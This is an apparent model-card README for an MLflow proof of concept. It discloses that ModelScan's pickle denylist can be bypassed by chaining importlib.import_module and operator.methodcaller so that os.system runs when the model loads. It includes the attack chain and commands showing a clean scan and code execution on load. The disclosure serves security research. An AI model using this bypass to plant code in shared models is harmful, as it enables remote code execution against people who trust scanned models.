| --- |
| library_name: mlflow |
| tags: |
| - security-research |
| - modelscan-bypass |
| - importlib |
| - methodcaller |
| - rce |
| --- |
| |
| # ModelScan importlib + methodcaller Bypass — RCE via importlib.import_module & operator.methodcaller |
| |
| ## Summary |
| |
| ModelScan's pickle scanner blocks `os.*`, `sys.*`, `subprocess.*`, `builtins.*` in its `unsafe_globals` denylist. However, **`importlib.import_module`** and **`operator.methodcaller`** are NOT blocked. |
| |
| This MLflow model contains a malicious pickle that imports `os` at RUNTIME (through `importlib.import_module`) and calls `os.system()` (through `operator.methodcaller`). ModelScan sees only clean opcodes and reports zero issues. |
| |
| ## Attack Chain |
| |
| The pickle bytecode uses only two STACK_GLOBAL opcodes: |
| |
| 1. `importlib.import_module('os')` → Returns the os module at runtime |
| 2. `operator.methodcaller('system', 'command')` → Creates a callable that calls os.system() |
| |
| Deserialization: `operator.methodcaller('system', 'cmd')(importlib.import_module('os'))` → `os.system('cmd')` |
| |
| ## Why It Works |
| |
| - `importlib` is NOT in modelscan's unsafe_globals at all |
| - `operator.methodcaller` is NOT blocked (only `operator.attrgetter` is) |
| - The dangerous `os.system` never appears in pickle opcodes — it's constructed at runtime |
| |
| ## Verify |
| |
| ```bash |
| # 1. ModelScan says CLEAN |
| modelscan -p model.pkl |
| # Output: No issues found! 🎉 |
| |
| # 2. MLflow load triggers RCE |
| python3 -c " |
| import mlflow.pyfunc |
| model = mlflow.pyfunc.load_model('.') |
| # os.system() executes before load_model returns |
| " |
| ``` |
| |
| ## Impact |
| |
| - **Severity**: Critical (CVSS 9.8) |
| - **Affected**: All pickle-based formats scanned by ModelScan |
| - Remote, no auth needed, no user interaction |
| |
